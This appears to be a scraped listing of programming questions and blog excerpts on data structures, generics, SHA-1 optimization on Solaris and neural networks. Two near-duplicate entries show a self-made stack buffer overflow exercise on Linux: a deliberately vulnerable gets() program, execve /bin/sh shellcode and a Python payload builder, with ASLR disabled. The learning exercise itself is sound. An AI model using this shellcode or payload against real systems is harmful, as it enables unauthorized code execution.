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  • Undo/Redo using Memento: Stack, Queue or just LinkedList?

    - by serhio
    What is the best having when implementing Memento pattern (for Undo/Redo) in witch collection to Keep Mementos? Basically, I need this(c = change, u = undo, r = redo): 0 *c -1 0 *c -2 -1 0 *c -3 -2 -1 0 <u -2 -1 0 1 *c -3 -2 -1 0 Variants: LinkedList - possible in principle, maybe not optimized. Queue - not adapted for this task, IMO. Stack - not adapted for undo AND redo; Double Stack - maybe optimal, but can't control the undo maximum size.

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  • How come Java doesn't accept my LinkedList in a Generic, but accepts its own?

    - by master chief
    For a class assignment, we can't use any of the languages bultin types, so I'm stuck with my own list. Anyway, here's the situation: public class CrazyStructure <T extends Comparable<? super T>> { MyLinkedList<MyTree<T>> trees; //error: type parameter MyTree is not within its bound } However: public class CrazyStructure <T extends Comparable<? super T>> { LinkedList<MyTree<T>> trees; } Works. MyTree impleements the Comparable interface, but MyLinkedList doesn't. However, Java's LinkedList doesn't implement it either, according to this. So what's the problem and how do I fix it? MyLinkedList: public class MyLinkedList<T extends Comparable<? super T>> { private class Node<T> { private Node<T> next; private T data; protected Node(); protected Node(final T value); } Node<T> firstNode; public MyLinkedList(); public MyLinkedList(T value); //calls node1.value.compareTo(node2.value) private int compareElements(final Node<T> node1, final Node<T> node2); public void insert(T value); public void remove(T value); } MyTree: public class LeftistTree<T extends Comparable<? super T>> implements Comparable { private class Node<T> { private Node<T> left, right; private T data; private int dist; protected Node(); protected Node(final T value); } private Node<T> root; public LeftistTree(); public LeftistTree(final T value); public Node getRoot(); //calls node1.value.compareTo(node2.value) private int compareElements(final Node node1, final Node node2); private Node<T> merge(Node node1, Node node2); public void insert(final T value); public T extractMin(); public int compareTo(final Object param); }

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  • Sequence for authentication on a decoupled client?

    - by A T
    Using a sequence diagram and example code could you explain to me how authentication works when the client is completely separated from the server? I.e.: you haven't generated any of the client using a server-side template engine, rather you are communicating using REST (SOAP xor HTTP) xor RPC (XML xor JSON) with javascript on the client-side. Specifically I would like to know the sequence of: Authenticating using basic auth (user+pass) with "my" server Authenticating using OAuth2, e.g.: with Facebook, with facebook's server then whatever extra steps are needed for "my" server And how it could be implemented. (feel free to use psuedo-code [like below] or [preferably] prototyped simply using BackboneJS, AngularJS, EmberJS, BatmanJS, AgilityJS, SammyJS xor ActiveJS. if cookie.status in [Expired, Tampered, Wrong IP, Invalid, Not Found]: try auth(user,pass): if user is in my db: try authenticate(user,pass) if successful: login user # give session-cookie here? else: present user with "auth failed" msg else if user not in db: redirect to "edit-profile" page PS: I have written an example (editable) auth sequence diagram; based on facebooks' documentation.

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  • Why enumerator structs are a really bad idea (redux)

    - by Simon Cooper
    My previous blog post went into some detail as to why calling MoveNext on a BCL generic collection enumerator didn't quite do what you thought it would. This post covers the Reset method. To recap, here's the simple wrapper around a linked list enumerator struct from my previous post (minus the readonly on the enumerator variable): sealed class EnumeratorWrapper : IEnumerator<int> { private LinkedList<int>.Enumerator m_Enumerator; public EnumeratorWrapper(LinkedList<int> linkedList) { m_Enumerator = linkedList.GetEnumerator(); } public int Current { get { return m_Enumerator.Current; } } object System.Collections.IEnumerator.Current { get { return Current; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public void Reset() { ((System.Collections.IEnumerator)m_Enumerator).Reset(); } public void Dispose() { m_Enumerator.Dispose(); } } If you have a look at the Reset method, you'll notice I'm having to cast to IEnumerator to be able to call Reset on m_Enumerator. This is because the implementation of LinkedList<int>.Enumerator.Reset, and indeed of all the other Reset methods on the BCL generic collection enumerators, is an explicit interface implementation. However, IEnumerator is a reference type. LinkedList<int>.Enumerator is a value type. That means, in order to call the reset method at all, the enumerator has to be boxed. And the IL confirms this: .method public hidebysig newslot virtual final instance void Reset() cil managed { .maxstack 8 L_0000: nop L_0001: ldarg.0 L_0002: ldfld valuetype [System]System.Collections.Generic.LinkedList`1/Enumerator<int32> EnumeratorWrapper::m_Enumerator L_0007: box [System]System.Collections.Generic.LinkedList`1/Enumerator<int32> L_000c: callvirt instance void [mscorlib]System.Collections.IEnumerator::Reset() L_0011: nop L_0012: ret } On line 0007, we're doing a box operation, which copies the enumerator to a reference object on the heap, then on line 000c calling Reset on this boxed object. So m_Enumerator in the wrapper class is not modified by the call the Reset. And this is the only way to call the Reset method on this variable (without using reflection). Therefore, the only way that the collection enumerator struct can be used safely is to store them as a boxed IEnumerator<T>, and not use them as value types at all.

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  • How do you get the logical xor of two variables in Python?

    - by Zach Hirsch
    How do you get the logical xor of two variables in Python? For example, I have two variables that I expect to be strings. I want to test that only one of them contains a True value (is not None or the empty string): str1 = raw_input("Enter string one:") str2 = raw_input("Enter string two:") if logical_xor(str1, str2): print "ok" else: print "bad" The ^ operator seems to be bitwise, and not defined on all objects: >>> 1 ^ 1 0 >>> 2 ^ 1 3 >>> "abc" ^ "" Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: unsupported operand type(s) for ^: 'str' and 'str'

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  • Generic linked list in c++

    - by itsaboy
    I have been struggling for too long a time now with a rather simple question about how to create a generic linked list in c++. The list should be able contain several types of structs, but each list will only contain one type of struct. The problem arises when I want to implement the getNode() function [see below], because then I have to specify which of the structs it should return. I have tried to substitute the structs with classes, where the getNode function returns a base class that is inherited by all the other classes, but it still does not do the trick, since the compiler does not allow the getNode function to return anything but the base class then. So here is some code snippet: typedef struct struct1 { int param1; (...) } struct1; typedef struct struct2 { double param1; (...) } struct2; typedef struct node { struct1 data; node* link; } node; class LinkedList { public: node *first; int nbrOfNodes; LinkedList(); void addNode(struct1); struct1 getNode(); bool isEmpty(); }; LinkedList::LinkedList() { first = NULL; nbrOfNodes = 0; } void LinkedList::addNode(struct1 newData) { if (nbrOfNodes == 0) { first = new node; first->data = newData; } else { node *it = first; for (int i = 0; i < nbrOfNodes; i++) { it = it->link; } node *newNode = new node; newNode->data = newData; it->link = newNode; } nbrOfNodes++; } bool LinkedList::isEmpty() { return !nbrOfNodes; } struct1 LinkedList::getNode() { param1 returnData = first->data; node* deleteNode = first; nbrOfNodes--; if (nbrOfNodes) first = deleteNode->link; delete deleteNode; return returnData; } So the question, put in one sentence, is as follows: How do I adjust the above linked list class so that it can also be used for struct2, without having to create a new almost identical list class for struct2 objects? As I said above, each instance of LinkedList will only deal with either struct1 or struct2. Grateful for hints or help

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  • Optimizing Solaris 11 SHA-1 on Intel Processors

    - by danx
    SHA-1 is a "hash" or "digest" operation that produces a 160 bit (20 byte) checksum value on arbitrary data, such as a file. It is intended to uniquely identify text and to verify it hasn't been modified. Max Locktyukhin and others at Intel have improved the performance of the SHA-1 digest algorithm using multiple techniques. This code has been incorporated into Solaris 11 and is available in the Solaris Crypto Framework via the libmd(3LIB), the industry-standard libpkcs11(3LIB) library, and Solaris kernel module sha1. The optimized code is used automatically on systems with a x86 CPU supporting SSSE3 (Intel Supplemental SSSE3). Intel microprocessor architectures that support SSSE3 include Nehalem, Westmere, Sandy Bridge microprocessor families. Further optimizations are available for microprocessors that support AVX (such as Sandy Bridge). Although SHA-1 is considered obsolete because of weaknesses found in the SHA-1 algorithm—NIST recommends using at least SHA-256, SHA-1 is still widely used and will be with us for awhile more. Collisions (the same SHA-1 result for two different inputs) can be found with moderate effort. SHA-1 is used heavily though in SSL/TLS, for example. And SHA-1 is stronger than the older MD5 digest algorithm, another digest option defined in SSL/TLS. Optimizations Review SHA-1 operates by reading an arbitrary amount of data. The data is read in 512 bit (64 byte) blocks (the last block is padded in a specific way to ensure it's a full 64 bytes). Each 64 byte block has 80 "rounds" of calculations (consisting of a mixture of "ROTATE-LEFT", "AND", and "XOR") applied to the block. Each round produces a 32-bit intermediate result, called W[i]. Here's what each round operates: The first 16 rounds, rounds 0 to 15, read the 512 bit block 32 bits at-a-time. These 32 bits is used as input to the round. The remaining rounds, rounds 16 to 79, use the results from the previous rounds as input. Specifically for round i it XORs the results of rounds i-3, i-8, i-14, and i-16 and rotates the result left 1 bit. The remaining calculations for the round is a series of AND, XOR, and ROTATE-LEFT operators on the 32-bit input and some constants. The 32-bit result is saved as W[i] for round i. The 32-bit result of the final round, W[79], is the SHA-1 checksum. Optimization: Vectorization The first 16 rounds can be vectorized (computed in parallel) because they don't depend on the output of a previous round. As for the remaining rounds, because of step 2 above, computing round i depends on the results of round i-3, W[i-3], one can vectorize 3 rounds at-a-time. Max Locktyukhin found through simple factoring, explained in detail in his article referenced below, that the dependencies of round i on the results of rounds i-3, i-8, i-14, and i-16 can be replaced instead with dependencies on the results of rounds i-6, i-16, i-28, and i-32. That is, instead of initializing intermediate result W[i] with: W[i] = (W[i-3] XOR W[i-8] XOR W[i-14] XOR W[i-16]) ROTATE-LEFT 1 Initialize W[i] as follows: W[i] = (W[i-6] XOR W[i-16] XOR W[i-28] XOR W[i-32]) ROTATE-LEFT 2 That means that 6 rounds could be vectorized at once, with no additional calculations, instead of just 3! This optimization is independent of Intel or any other microprocessor architecture, although the microprocessor has to support vectorization to use it, and exploits one of the weaknesses of SHA-1. Optimization: SSSE3 Intel SSSE3 makes use of 16 %xmm registers, each 128 bits wide. The 4 32-bit inputs to a round, W[i-6], W[i-16], W[i-28], W[i-32], all fit in one %xmm register. The following code snippet, from Max Locktyukhin's article, converted to ATT assembly syntax, computes 4 rounds in parallel with just a dozen or so SSSE3 instructions: movdqa W_minus_04, W_TMP pxor W_minus_28, W // W equals W[i-32:i-29] before XOR // W = W[i-32:i-29] ^ W[i-28:i-25] palignr $8, W_minus_08, W_TMP // W_TMP = W[i-6:i-3], combined from // W[i-4:i-1] and W[i-8:i-5] vectors pxor W_minus_16, W // W = (W[i-32:i-29] ^ W[i-28:i-25]) ^ W[i-16:i-13] pxor W_TMP, W // W = (W[i-32:i-29] ^ W[i-28:i-25] ^ W[i-16:i-13]) ^ W[i-6:i-3]) movdqa W, W_TMP // 4 dwords in W are rotated left by 2 psrld $30, W // rotate left by 2 W = (W >> 30) | (W << 2) pslld $2, W_TMP por W, W_TMP movdqa W_TMP, W // four new W values W[i:i+3] are now calculated paddd (K_XMM), W_TMP // adding 4 current round's values of K movdqa W_TMP, (WK(i)) // storing for downstream GPR instructions to read A window of the 32 previous results, W[i-1] to W[i-32] is saved in memory on the stack. This is best illustrated with a chart. Without vectorization, computing the rounds is like this (each "R" represents 1 round of SHA-1 computation): RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR With vectorization, 4 rounds can be computed in parallel: RRRRRRRRRRRRRRRRRRRR RRRRRRRRRRRRRRRRRRRR RRRRRRRRRRRRRRRRRRRR RRRRRRRRRRRRRRRRRRRR Optimization: AVX The new "Sandy Bridge" microprocessor architecture, which supports AVX, allows another interesting optimization. SSSE3 instructions have two operands, a input and an output. AVX allows three operands, two inputs and an output. In many cases two SSSE3 instructions can be combined into one AVX instruction. The difference is best illustrated with an example. Consider these two instructions from the snippet above: pxor W_minus_16, W // W = (W[i-32:i-29] ^ W[i-28:i-25]) ^ W[i-16:i-13] pxor W_TMP, W // W = (W[i-32:i-29] ^ W[i-28:i-25] ^ W[i-16:i-13]) ^ W[i-6:i-3]) With AVX they can be combined in one instruction: vpxor W_minus_16, W, W_TMP // W = (W[i-32:i-29] ^ W[i-28:i-25] ^ W[i-16:i-13]) ^ W[i-6:i-3]) This optimization is also in Solaris, although Sandy Bridge-based systems aren't widely available yet. As an exercise for the reader, AVX also has 256-bit media registers, %ymm0 - %ymm15 (a superset of 128-bit %xmm0 - %xmm15). Can %ymm registers be used to parallelize the code even more? Optimization: Solaris-specific In addition to using the Intel code described above, I performed other minor optimizations to the Solaris SHA-1 code: Increased the digest(1) and mac(1) command's buffer size from 4K to 64K, as previously done for decrypt(1) and encrypt(1). This size is well suited for ZFS file systems, but helps for other file systems as well. Optimized encode functions, which byte swap the input and output data, to copy/byte-swap 4 or 8 bytes at-a-time instead of 1 byte-at-a-time. Enhanced the Solaris mdb(1) and kmdb(1) debuggers to display all 16 %xmm and %ymm registers (mdb "$x" command). Previously they only displayed the first 8 that are available in 32-bit mode. Can't optimize if you can't debug :-). Changed the SHA-1 code to allow processing in "chunks" greater than 2 Gigabytes (64-bits) Performance I measured performance on a Sun Ultra 27 (which has a Nehalem-class Xeon 5500 Intel W3570 microprocessor @3.2GHz). Turbo mode is disabled for consistent performance measurement. Graphs are better than words and numbers, so here they are: The first graph shows the Solaris digest(1) command before and after the optimizations discussed here, contained in libmd(3LIB). I ran the digest command on a half GByte file in swapfs (/tmp) and execution time decreased from 1.35 seconds to 0.98 seconds. The second graph shows the the results of an internal microbenchmark that uses the Solaris libpkcs11(3LIB) library. The operations are on a 128 byte buffer with 10,000 iterations. The results show operations increased from 320,000 to 416,000 operations per second. Finally the third graph shows the results of an internal kernel microbenchmark that uses the Solaris /kernel/crypto/amd64/sha1 module. The operations are on a 64Kbyte buffer with 100 iterations. third graph shows the results of an internal kernel microbenchmark that uses the Solaris /kernel/crypto/amd64/sha1 module. The operations are on a 64Kbyte buffer with 100 iterations. The results show for 1 kernel thread, operations increased from 410 to 600 MBytes/second. For 8 kernel threads, operations increase from 1540 to 1940 MBytes/second. Availability This code is in Solaris 11 FCS. It is available in the 64-bit libmd(3LIB) library for 64-bit programs and is in the Solaris kernel. You must be running hardware that supports Intel's SSSE3 instructions (for example, Intel Nehalem, Westmere, or Sandy Bridge microprocessor architectures). The easiest way to determine if SSSE3 is available is with the isainfo(1) command. For example, nehalem $ isainfo -v $ isainfo -v 64-bit amd64 applications sse4.2 sse4.1 ssse3 popcnt tscp ahf cx16 sse3 sse2 sse fxsr mmx cmov amd_sysc cx8 tsc fpu 32-bit i386 applications sse4.2 sse4.1 ssse3 popcnt tscp ahf cx16 sse3 sse2 sse fxsr mmx cmov sep cx8 tsc fpu If the output also shows "avx", the Solaris executes the even-more optimized 3-operand AVX instructions for SHA-1 mentioned above: sandybridge $ isainfo -v 64-bit amd64 applications avx xsave pclmulqdq aes sse4.2 sse4.1 ssse3 popcnt tscp ahf cx16 sse3 sse2 sse fxsr mmx cmov amd_sysc cx8 tsc fpu 32-bit i386 applications avx xsave pclmulqdq aes sse4.2 sse4.1 ssse3 popcnt tscp ahf cx16 sse3 sse2 sse fxsr mmx cmov sep cx8 tsc fpu No special configuration or setup is needed to take advantage of this code. Solaris libraries and kernel automatically determine if it's running on SSSE3 or AVX-capable machines and execute the correctly-tuned code for that microprocessor. Summary The Solaris 11 Crypto Framework, via the sha1 kernel module and libmd(3LIB) and libpkcs11(3LIB) libraries, incorporated a useful SHA-1 optimization from Intel for SSSE3-capable microprocessors. As with other Solaris optimizations, they come automatically "under the hood" with the current Solaris release. References "Improving the Performance of the Secure Hash Algorithm (SHA-1)" by Max Locktyukhin (Intel, March 2010). The source for these SHA-1 optimizations used in Solaris "SHA-1", Wikipedia Good overview of SHA-1 FIPS 180-1 SHA-1 standard (FIPS, 1995) NIST Comments on Cryptanalytic Attacks on SHA-1 (2005, revised 2006)

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  • Given an XML which contains a representation of a graph, how to apply it DFS algorithm? [on hold]

    - by winston smith
    Given the followin XML which is a directed graph: <?xml version="1.0" encoding="iso-8859-1" ?> <!DOCTYPE graph PUBLIC "-//FC//DTD red//EN" "../dtd/graph.dtd"> <graph direct="1"> <vertex label="V0"/> <vertex label="V1"/> <vertex label="V2"/> <vertex label="V3"/> <vertex label="V4"/> <vertex label="V5"/> <edge source="V0" target="V1" weight="1"/> <edge source="V0" target="V4" weight="1"/> <edge source="V5" target="V2" weight="1"/> <edge source="V5" target="V4" weight="1"/> <edge source="V1" target="V2" weight="1"/> <edge source="V1" target="V3" weight="1"/> <edge source="V1" target="V4" weight="1"/> <edge source="V2" target="V3" weight="1"/> </graph> With this classes i parsed the graph and give it an adjacency list representation: import java.io.IOException; import java.util.HashSet; import java.util.LinkedList; import java.util.Collection; import java.util.Iterator; import java.util.logging.Level; import java.util.logging.Logger; import practica3.util.Disc; public class ParsingXML { public static void main(String[] args) { try { // TODO code application logic here Collection<Vertex> sources = new HashSet<Vertex>(); LinkedList<String> lines = Disc.readFile("xml/directed.xml"); for (String lin : lines) { int i = Disc.find(lin, "source=\""); String data = ""; if (i > 0 && i < lin.length()) { while (lin.charAt(i + 1) != '"') { data += lin.charAt(i + 1); i++; } Vertex v = new Vertex(); v.setName(data); v.setAdy(new HashSet<Vertex>()); sources.add(v); } } Iterator it = sources.iterator(); while (it.hasNext()) { Vertex ver = (Vertex) it.next(); Collection<Vertex> adyacencias = ver.getAdy(); LinkedList<String> ls = Disc.readFile("xml/graphs.xml"); for (String lin : ls) { int i = Disc.find(lin, "target=\""); String data = ""; if (lin.contains("source=\""+ver.getName())) { Vertex v = new Vertex(); if (i > 0 && i < lin.length()) { while (lin.charAt(i + 1) != '"') { data += lin.charAt(i + 1); i++; } v.setName(data); } i = Disc.find(lin, "weight=\""); data = ""; if (i > 0 && i < lin.length()) { while (lin.charAt(i + 1) != '"') { data += lin.charAt(i + 1); i++; } v.setWeight(Integer.parseInt(data)); } if (v.getName() != null) { adyacencias.add(v); } } } } for (Vertex vert : sources) { System.out.println(vert); System.out.println("adyacencias: " + vert.getAdy()); } } catch (IOException ex) { Logger.getLogger(ParsingXML.class.getName()).log(Level.SEVERE, null, ex); } } } This is another class: import java.util.Collection; import java.util.Objects; public class Vertex { private String name; private int weight; private Collection ady; public Collection getAdy() { return ady; } public void setAdy(Collection adyacencias) { this.ady = adyacencias; } public String getName() { return name; } public void setName(String nombre) { this.name = nombre; } public int getWeight() { return weight; } public void setWeight(int weight) { this.weight = weight; } @Override public int hashCode() { int hash = 7; hash = 43 * hash + Objects.hashCode(this.name); hash = 43 * hash + this.weight; return hash; } @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final Vertex other = (Vertex) obj; if (!Objects.equals(this.name, other.name)) { return false; } if (this.weight != other.weight) { return false; } return true; } @Override public String toString() { return "Vertice{" + "name=" + name + ", weight=" + weight + '}'; } } And finally: /** * * @author user */ /* -*-jde-*- */ /* <Disc.java> Contains the main argument*/ import java.io.*; import java.util.LinkedList; /** * Lectura y escritura de archivos en listas de cadenas * Ideal para el uso de las clases para gráficas. * * @author Peralta Santa Anna Victor Miguel * @since Julio 2011 */ public class Disc { /** * Metodo para lectura de un archivo * * @param fileName archivo que se va a leer * @return El archivo en representacion de lista de cadenas */ public static LinkedList<String> readFile(String fileName) throws IOException { BufferedReader file = new BufferedReader(new FileReader(fileName)); LinkedList<String> textlist = new LinkedList<String>(); while (file.ready()) { textlist.add(file.readLine().trim()); } file.close(); /* for(String linea:textlist){ if(linea.contains("source")){ //String generado = linea.replaceAll("<\\w+\\s+\"", ""); //System.out.println(generado); } }*/ return textlist; }//readFile public static int find(String linea,String palabra){ int i,j; boolean found = false; for(i=0,j=0;i<linea.length();i++){ if(linea.charAt(i)==palabra.charAt(j)){ j++; if(j==palabra.length()){ found = true; return i; } }else{ continue; } } if(!found){ i= -1; } return i; } /** * Metodo para la escritura de un archivo * * @param fileName archivo que se va a escribir * @param tofile la lista de cadenas que quedaran en el archivo * @param append el bit que dira si se anexa el contenido o se empieza de cero */ public static void writeFile(String fileName, LinkedList<String> tofile, boolean append) throws IOException { FileWriter file = new FileWriter(fileName, append); for (int i = 0; i < tofile.size(); i++) { file.write(tofile.get(i) + "\n"); } file.close(); }//writeFile /** * Metodo para escritura de un archivo * @param msg archivo que se va a escribir * @param tofile la cadena que quedaran en el archivo * @param append el bit que dira si se anexa el contenido o se empieza de cero */ public static void writeFile(String msg, String tofile, boolean append) throws IOException { FileWriter file = new FileWriter(msg, append); file.write(tofile); file.close(); }//writeFile }// I'm stuck on what can be the best way to given an adjacency list representation of the graph how to apply it Depth-first search algorithm. Any idea of how to aproach to complete the task?

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  • Why enumerator structs are a really bad idea

    - by Simon Cooper
    If you've ever poked around the .NET class libraries in Reflector, I'm sure you would have noticed that the generic collection classes all have implementations of their IEnumerator as a struct rather than a class. As you will see, this design decision has some rather unfortunate side effects... As is generally known in the .NET world, mutable structs are a Very Bad Idea; and there are several other blogs around explaining this (Eric Lippert's blog post explains the problem quite well). In the BCL, the generic collection enumerators are all mutable structs, as they need to keep track of where they are in the collection. This bit me quite hard when I was coding a wrapper around a LinkedList<int>.Enumerator. It boils down to this code: sealed class EnumeratorWrapper : IEnumerator<int> { private readonly LinkedList<int>.Enumerator m_Enumerator; public EnumeratorWrapper(LinkedList<int> linkedList) { m_Enumerator = linkedList.GetEnumerator(); } public int Current { get { return m_Enumerator.Current; } } object System.Collections.IEnumerator.Current { get { return Current; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public void Reset() { ((System.Collections.IEnumerator)m_Enumerator).Reset(); } public void Dispose() { m_Enumerator.Dispose(); } } The key line here is the MoveNext method. When I initially coded this, I thought that the call to m_Enumerator.MoveNext() would alter the enumerator state in the m_Enumerator class variable and so the enumeration would proceed in an orderly fashion through the collection. However, when I ran this code it went into an infinite loop - the m_Enumerator.MoveNext() call wasn't actually changing the state in the m_Enumerator variable at all, and my code was looping forever on the first collection element. It was only after disassembling that method that I found out what was going on The MoveNext method above results in the following IL: .method public hidebysig newslot virtual final instance bool MoveNext() cil managed { .maxstack 1 .locals init ( [0] bool CS$1$0000, [1] valuetype [System]System.Collections.Generic.LinkedList`1/Enumerator CS$0$0001) L_0000: nop L_0001: ldarg.0 L_0002: ldfld valuetype [System]System.Collections.Generic.LinkedList`1/Enumerator EnumeratorWrapper::m_Enumerator L_0007: stloc.1 L_0008: ldloca.s CS$0$0001 L_000a: call instance bool [System]System.Collections.Generic.LinkedList`1/Enumerator::MoveNext() L_000f: stloc.0 L_0010: br.s L_0012 L_0012: ldloc.0 L_0013: ret } Here, the important line is 0002 - m_Enumerator is accessed using the ldfld operator, which does the following: Finds the value of a field in the object whose reference is currently on the evaluation stack. So, what the MoveNext method is doing is the following: public bool MoveNext() { LinkedList<int>.Enumerator CS$0$0001 = this.m_Enumerator; bool CS$1$0000 = CS$0$0001.MoveNext(); return CS$1$0000; } The enumerator instance being modified by the call to MoveNext is the one stored in the CS$0$0001 variable on the stack, and not the one in the EnumeratorWrapper class instance. Hence why the state of m_Enumerator wasn't getting updated. Hmm, ok. Well, why is it doing this? If you have a read of Eric Lippert's blog post about this issue, you'll notice he quotes a few sections of the C# spec. In particular, 7.5.4: ...if the field is readonly and the reference occurs outside an instance constructor of the class in which the field is declared, then the result is a value, namely the value of the field I in the object referenced by E. And my m_Enumerator field is readonly! Indeed, if I remove the readonly from the class variable then the problem goes away, and the code works as expected. The IL confirms this: .method public hidebysig newslot virtual final instance bool MoveNext() cil managed { .maxstack 1 .locals init ( [0] bool CS$1$0000) L_0000: nop L_0001: ldarg.0 L_0002: ldflda valuetype [System]System.Collections.Generic.LinkedList`1/Enumerator EnumeratorWrapper::m_Enumerator L_0007: call instance bool [System]System.Collections.Generic.LinkedList`1/Enumerator::MoveNext() L_000c: stloc.0 L_000d: br.s L_000f L_000f: ldloc.0 L_0010: ret } Notice on line 0002, instead of the ldfld we had before, we've got a ldflda, which does this: Finds the address of a field in the object whose reference is currently on the evaluation stack. Instead of loading the value, we're loading the address of the m_Enumerator field. So now the call to MoveNext modifies the enumerator stored in the class rather than on the stack, and everything works as expected. Previously, I had thought enumerator structs were an odd but interesting feature of the BCL that I had used in the past to do linked list slices. However, effects like this only underline how dangerous mutable structs are, and I'm at a loss to explain why the enumerators were implemented as structs in the first place. (interestingly, the SortedList<TKey, TValue> enumerator is a struct but is private, which makes it even more odd - the only way it can be accessed is as a boxed IEnumerator!). I would love to hear people's theories as to why the enumerators are implemented in such a fashion. And bonus points if you can explain why LinkedList<int>.Enumerator.Reset is an explicit implementation but Dispose is implicit... Note to self: never ever ever code a mutable struct.

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Questions about the Backpropogation Algorithm

    - by Colemangrill
    I have a few questions concerning backpropogation. I'm trying to learn the fundamentals behind neural network theory and wanted to start small, building a simple XOR classifier. I've read a lot of articles and skimmed multiple textbooks - but I can't seem to teach this thing the pattern for XOR. Firstly, I am unclear about the learning model for backpropogation. Here is some pseudo-code to represent how I am trying to train the network. [Lets assume my network is setup properly (ie: multiple inputs connect to a hidden layer connect to an output layer and all wired up properly)]. SET guess = getNetworkOutput() // Note this is using a sigmoid activation function. SET error = desiredOutput - guess SET delta = learningConstant * error * sigmoidDerivative(guess) For Each Node in inputNodes For Each Weight in inputNodes[n] inputNodes[n].weight[j] += delta; // At this point, I am assuming the first layer has been trained. // Then I recurse a similar function over the hidden layer and output layer. // The prime difference being that it further divi's up the adjustment delta. I realize this is probably not enough to go off of, and I will gladly expound on any part of my implementation. Using the above algorithm, my neural network does get trained, kind of. But not properly. The output is always XOR 1 1 [smallest number] XOR 0 0 [largest number] XOR 1 0 [medium number] XOR 0 1 [medium number] I can never train the [1,1] [0,0] to be the same value. If you have any suggestions, additional resources, articles, blogs, etc for me to look at I am very interested in learning more about this topic. Thank you for your assistance, I appreciate it greatly!

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  • XMLAdapter for HashMap

    - by denniss
    I want to convert a list of items inside of my payaload and convert them into a hashmap. Basically, what I have is an Item xml representation which have a list of ItemID. Each ItemID has an idType in it. However, inside my Item class, i want these ItemIDs to be represented as a Map. HashMap<ItemIDType, ItemID> The incoming payload will represent this as a list <Item>... <ItemIDs> <ItemID type="external" id="XYZ"/> <ItemID type="internal" id="20011"/> </ItemIDs> </Item> but I want an adapter that will convert this into a HashMap "external" => "xyz" "internal" => "20011" I am right now using a LinkedList public class MapHashMapListAdapter extends XmlAdapter<LinkedList<ItemID>, Map<ItemIDType, ItemID>> { public LinkedList<ItemID> marshal(final Map<ItemIDType, ItemID> v) throws Exception { ... } public Map<ItemIDType, ItemID> unmarshal(final LinkedList<ItemID> v) throws Exception { ... } } but for some reason when my payload gets converted, it fails to convert the list into a hashmap. The incoming LinkedList of the method unmarshal is an empty list. Do you guys have any idea what I am doing wrong here? Do I need to create my own data type here to handle the LinkedList?

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  • is this aes encryption wrapper safe ? - yet another take...

    - by user393087
